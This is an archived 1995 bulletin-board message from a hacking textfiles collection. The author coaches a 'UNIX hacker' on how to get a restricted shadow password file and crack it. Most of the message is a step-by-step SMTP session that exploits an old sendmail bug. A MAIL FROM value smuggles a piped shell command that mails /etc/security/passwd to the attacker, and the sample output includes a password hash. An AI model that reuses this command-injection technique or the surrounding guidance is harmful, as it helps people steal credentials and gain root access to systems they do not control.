💾 Archived View for gemini.spam.works › mirrors › textfiles › hacking › UNIX › sendmail.fun captured on 2022-07-17 at 01:59:17.
⬅️ Previous capture (2022-06-12)
-=-=-=-=-=-=-
11
Subj: Re: passwd file (11/34)
From: Root #1
To : Lord Balif #10
Date: Mon, Jan 16, 1995 7:03:53 AM
LB> root:x:0:1:0000-Admin(0000):/:
This is an example of a "shadowed" passwd file. The file is world readable and
exists to provide user information for fingering a particular user -
Login name: root Real name: 000-Admin(0000)
Directory: / Shell: ???
Plan:
No Plan
The actual encypted passwd for user 'root' is in one of two places most
likely.. either in a restricted security directory ('/etc/security/passwd') or
in a special passwd file called master.passwd ('/etc/master.passwd').
ExchangeNET uses the latter format, for instance.
Your job as a UNIX hacker is to somehow trick the host computer into letting
you read the restricted passwd file which contains encrypted passwds. On
obtainting this file, you would run a UNIX passwd cracker on the passwd file.
<pause> The problem is, the unshadowed passwords are most likely in a file that most
users cannot access -- owned by user 'root' and group 'wheel' for instance,
with a file mode of 600 ('-rw------- root wheel 58472 passwd'). You will need
to use a program that your host runs that is allowed to access this file and
have it send the file to you.
Classically, sendmail ran under root's user id (0) and could read this file.
An old bug in sendmail could be employed to execute commands as root, thus
providing a gaping vulnerability for becomming a root user to anyone who could
access sendmail. In the classic example, getting the shadowed passwd file
could be done like this:
REPEAT BY:
% telnet localhost 25 <-- your site's sendmail port
Trying 127.0.0.1 ...
Connected. Escape character is '^]'.
Welcome to old.smtp.version.site.com STMP sendmail version 1.0
Ready and willing for your command, haqr sir.
(you type) MAIL FROM: "|/bin/mail me@old.smtp.version.site.com
</etc/security/passwd"
250 - Sender OK
RCPT TO: nosuchuser
<pause> 225 - "nosuchuser" User unknown
DATA
230 - Enter message. '.' to end
.
235 OK
QUIT
Connection closed
% wait
% frm
1 Mailer Daemon No subject - file transmission
% more /var/spool/mail/me
From daemon!localhost ...
.
.
Subject:
root:89JKHkjh\kj1:0:0:Admin:/:/bin/sh
...
%
----
<pause>